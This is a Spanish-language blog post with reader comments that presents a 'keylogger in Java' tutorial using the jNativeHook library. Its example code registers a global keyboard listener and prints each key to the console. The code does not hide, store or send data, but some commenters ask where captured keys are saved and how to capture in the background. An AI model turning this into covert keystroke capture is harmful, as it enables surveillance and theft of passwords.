domingo, 5 de octubre de 2014

Publicado domingo, 5 de octubre de 2014 por con 7 comentarios

Como Crear un Key Logger en Java?

¿Cómo crear un Key logger en Java? 

¿Estás de acuerdo con la declaración "No podemos crear un capturador de teclado en Java"?. Sé que la mayoría dirán que esta afirmación es correcta. Porque sabemos que Java no puede leer nada fuera de la JVM (Java Virtual Machine). Incluso yo estaba pensando igual, pero existe un API llamada jNativeHook que hace que esto suceda.

Características jNativeHook

  • Global Keyboard Listener
  • Global Mouse Listener
  • Global Mouse Wheel Listener

¿Cómo se logra la captura de pulsaciones de teclas desde otra aplicación o en cualquier lugar en el sistema?
Bien jNativeHook usa otro lenguaje de programación para capturar pulsaciones de teclas y pasarlas a su aplicación. Hace uso de:

DLL (Dynamic Link Library) para windows. 
.dylib (Xcode Dynamic Library) para mac 
.so (objeto compartido) para linux

jNativeHook en action

import org.jnativehook.GlobalScreen;
import org.jnativehook.NativeHookException;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;
/**
 * @author javaQuery
 * Global Keyboard Listener
 */
public class jNativeHookExample implements NativeKeyListener {

    /* Key Pressed */
    public void nativeKeyPressed(NativeKeyEvent e) {
        System.out.println("Key Pressed: " + NativeKeyEvent.getKeyText(e.getKeyCode()));

        /* Terminate program when one press ESCAPE */
        if (e.getKeyCode() == NativeKeyEvent.VK_ESCAPE) {
            GlobalScreen.unregisterNativeHook();
        }
    }

    /* Key Released */
    public void nativeKeyReleased(NativeKeyEvent e) {
        System.out.println("Key Released: " + NativeKeyEvent.getKeyText(e.getKeyCode()));
    }

    /* I can't find any output from this call */
    public void nativeKeyTyped(NativeKeyEvent e) {
        System.out.println("Key Typed: " + e.getKeyText(e.getKeyCode()));
    }

    public static void main(String[] args) {
        try {
            /* Register jNativeHook */
            GlobalScreen.registerNativeHook();
        } catch (NativeHookException ex) {
            /* Its error */
            System.err.println("There was a problem registering the native hook.");
            System.err.println(ex.getMessage());
            System.exit(1);
        }

        /* Construct the example object and initialze native hook. */
        GlobalScreen.getInstance().addNativeKeyListener(new jNativeHookExample());
    }
}
Links Útiles 
Download API: https://github.com/kwhat/jnativehook
Examples: https://github.com/kwhat/jnativehook/wiki 

Revisar la página de inicio del proyecto jNativeHook para más información y detalles.

 Informacion tomada de http://www.javaquery.com/2014/05/how-to-create-key-logger-in-java.html
      edit

7 comentarios:

  1. diego salos aguiran, bastante buena aportacion chato gay ortega

    ResponderBorrar
  2. ¿donde se guarda todo lo que capturo?

    ResponderBorrar
  3. joder como amo la programacion, gracias

    ResponderBorrar
  4. Hola que tal, está genial, pero se me presenta un inconveniente, cuando el programa que captura las acciones de teclado está en segundo plano, algunas letras se pierden en el camino, por qué podría ser? por ejemplo, la entrada es ésta: 3035D613D7A5D5C000000002 pero sólo recibo ésto: 3035D61 7 5D5C00000

    ResponderBorrar
  5. quisiera que me apoyaras lo intento poner en una mac

    ResponderBorrar